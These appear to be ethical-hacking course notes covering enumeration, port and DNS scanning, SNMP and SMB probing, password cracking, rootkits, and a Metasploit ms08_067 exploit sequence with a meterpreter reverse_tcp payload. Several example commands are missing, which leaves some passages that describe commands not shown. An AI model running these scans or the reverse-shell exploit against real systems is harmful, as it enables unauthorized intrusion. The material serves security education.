Unit 4 Ethical Hacking
Unit 4 Ethical Hacking
Definition: Enumeration is the process of extracting user names, machine names, network
resources, shares, and services from a system. In the context of cybersecurity, it involves
active connections to systems and is used to gather the information necessary for potential
exploitation.
Purpose: The main purpose of enumeration is to gain as much information as possible about
a target system, which can be used to identify potential points of entry and craft specific
attacks.
Enumeration Tools:
Exploitation
Purpose: The goal of exploitation is to control resources or access data that an attacker is not
normally able to reach by bypassing security restrictions.
Exploitation Tools:
1. Network Scanning
Purpose: To discover active devices on a network and infer the types of services and
operating systems they are running.
Common Tools:
• Nmap: Can perform host discovery, port scanning, service enumeration, and
operating system detection.
• Wireshark: Analyzes network traffic in real time to spot active hosts and network
services.
Example Scenario: Using Nmap to perform a scan on a subnet to identify all connected
devices and open ports:
This command scans the entire 192.168.1.0 subnet to identify live hosts, open ports, and
services running on those ports.
2. Port Scanning
Purpose: To identify open ports and the services running on those ports. It helps to determine
potential vulnerabilities in those services.
Common Tools:
• Netcat: A versatile networking tool used for port scanning, data transfer, and port
listening.
• PortScanner: A Python-based tool that automates the process of scanning for opened
ports.
Example Scenario: Using Netcat to scan for open TCP ports on a target machine:
This command checks for open ports between 20 and 445 on the target machine, providing
quick insights into active services.
3. Vulnerability Scanning
Common Tools:
4. DNS Queries
Common Tools:
• dig: A command-line tool for querying DNS name servers for information about host
addresses, mail exchanges, and name servers.
• nslookup: Provides information about DNS records and can help troubleshoot DNS
problems.
Example Scenario: Using dig to perform a zone transfer (which should typically be
blocked) to gather DNS information about a domain:
css
dig axfr @nameserver domain.com
This command attempts a DNS zone transfer from the specified nameserver for 'domain.com'
which could potentially reveal all DNS records for the domain.
Purpose: To discover resources shared on the network which can be accessed or contain
sensitive information.
Common Tools:
• Enum4linux: A tool used for enumerating information from Windows and Samba
systems.
• SMBClient: Lists shares available on a target SMB/CIFS server.
This command lists all shares accessible under the given username on the specified server.
6. SNMP Enumeration
Purpose: To extract data about network devices using Simple Network Management
Protocol (SNMP), which can include device types, configurations, and more.
Common Tools:
Example Scenario: Using SNMPwalk to gather configuration and status information from
network devices:
arduino
snmpwalk -v2c -c public target-ip
This command uses SNMP version 2c with the community string 'public' to query all SNMP
data from the target IP.
Soft Objective
Purpose: Soft objectives in cybersecurity refer to the informal goals set during the initial
phase of an enumeration process. These objectives involve gathering seemingly innocuous
but potentially valuable information that could later support more targeted attacks.
Key Activities:
Purpose: This activity involves a more active phase of reconnaissance, where the tester
interacts with the system to gather specific details that can be used to exploit vulnerabilities.
Key Activities:
Example: Using a tool like Nmap, a tester might perform a command like:
bash
nmap -sV -T4 target-ip
This command is used to identify service versions quickly on the target machine, giving
insights into potentially vulnerable software.
Elements of Enumeration
Purpose: The core objective during the enumeration phase is to methodically collect and
organize information about the target that can be leveraged in later stages of a penetration
test, specifically during exploitation.
Example:
A tester may use Enum4linux to retrieve a list of shared directories from a Windows machine
with a command like:
bash
enum4linux -S target-ip
This tool can uncover not only shared resources but also password policies and user groups,
which are vital for planning further attacks.
Key Activities:
• Conducting live tests to understand how the system reacts to different inputs or
actions.
• Using manual probing to identify security weaknesses that automated tools might
miss.
Example: A tester might manually input unexpected values into web forms to see if it
induces errors that reveal underlying database or software flaws, such as SQL injection
vulnerabilities.
Evasion Techniques
Key Activities:
Example: A common evasion technique involves modifying exploit code to alter its
signature, thereby avoiding detection by antivirus systems. Tools like Veil-Evasion can be
used to generate payloads that are less likely to be flagged by security software.
Purpose: Understanding the role of threads (as in programming and processing) and groups
(as in user group permissions) is vital for tailoring attacks to exploit specific system
vulnerabilities related to concurrency and permission levels.
Key Activities:
Example: If a tester identifies that a certain user group has write permissions to a critical
system file, they might target users from this group to exploit these permissions for
unauthorized access or escalation.
Operating Systems
Purpose: The type of operating system (OS) running on a target can significantly influence
the choice of exploitation techniques, as each OS has its own set of vulnerabilities and
security features.
Key Activities:
• Identifying the OS during the enumeration phase and tailoring subsequent attacks to
exploit its specific weaknesses.
• Keeping up-to-date with the latest security patches and exploits for targeted OS types.
Example: Exploits like EternalBlue for Windows or Shellshock for Unix-based systems are
specific to the OS they target. Knowing the OS allows testers to choose the most effective
and efficient exploits.
Summary Ta
Password Crackers
Purpose: Password crackers are tools used to recover passwords from data that has been
stored or transmitted by a computer system. Their primary use in cybersecurity is to test the
strength of passwords used within an organization.
Key Tools:
• John the Ripper: Highly versatile, it supports numerous hashing algorithms and is
widely used for cracking weak passwords.
• Hashcat: Known for its speed and efficiency, Hashcat is an advanced password
recovery tool supporting a wide array of algorithms.
Example: In a security assessment, a tester might use Hashcat to attempt to crack the hashed
passwords obtained from a breached database to demonstrate the need for stronger password
policies.
RootKits
Purpose: Rootkits are software programs designed to provide continued privileged access to
a computer while actively hiding their presence from administrators and users. They are
critical in understanding stealth techniques in malware.
Key Tools:
• Kali Linux Rootkit: A collection of tools in Kali Linux used for developing and
detecting rootkits.
• chkrootkit: A tool to locally check for signs of a rootkit.
Example: A security professional might use chkrootkit to scan a system suspected of being
compromised to detect hidden malware or unauthorized root-level access.
Applications
Key Techniques:
Wardialing
Key Tools:
• THC-Scan: A classic wardialing tool used to automate the calling and logging
process.
• WarVOX: A modern tool that uses VoIP lines to perform wardialing more
efficiently.
Example: A security auditor might use WarVOX to find modems connected to a company's
network that could serve as backdoors for unauthorized access.
Purpose: Network services are central to a network's operation, and their vulnerabilities can
be exploited to gain unauthorized access or disrupt services.
Key Concerns:
• Open Ports: Unused open ports can act as entry points for attackers.
• Misconfigured Services: Services like FTP, SSH, or web servers, if not properly
configured, can lead to security breaches.
• Outdated Systems: Systems that are not regularly updated with security patches are
vulnerable to attacks.
Example: During a network security audit, a tester might use Nmap to scan for open ports
and identify outdated or misconfigured services that need to be secured.
Purpose: To provide attackers with pre-packaged sets of exploits that can be used to
automate the launching of attacks against systems with known vulnerabilities.
Common Tools:
shell
msfconsole
use exploit/windows/smb/ms08_067_netapi
set RHOST target-ip
set payload windows/meterpreter/reverse_tcp
set LHOST your-ip
exploit
This sequence sets up and executes an exploit against a known SMB vulnerability, potentially
giving the attacker control over the target machine.
2. Password Attacks
Common Techniques:
• Brute Force Attack: Trying every possible combination until the password is found.
• Dictionary Attack: Using a list of commonly used passwords.
• Credential Stuffing: Using previously breached username and password pairs.
Common Tools:
Example Scenario: Using John the Ripper to crack password hashes extracted from a
database:
shell
This command uses John the Ripper to crack MD5 hashed passwords found in the
hashes.txt file.
Purpose: To exploit specific vulnerabilities in operating systems that can allow for elevation
of privilege, unauthorized access, or denial of service.
Common Techniques:
• Detailed research and testing would be conducted to understand the specific buffer
overflow and how it can be exploited using customized payloads.
4. Application-Level Exploits
Purpose: To target specific applications or services that may have vulnerabilities due to poor
coding practices or software flaws.
Common Techniques:
• SQL Injection: Inserting malicious SQL queries into input fields to manipulate or
access databases.
• Cross-Site Scripting (XSS): Injecting malicious scripts into web pages viewed by
other users.
Common Tools:
shell
This command configures SQLmap to test for SQL injection vulnerabilities in the specified
URL, assuming a MySQL database.
5. Network Exploits
Common Techniques:
Example Scenario: Conducting a MITM attack using tools like Ettercap or Wireshark to
intercept and modify traffic between two networked computers.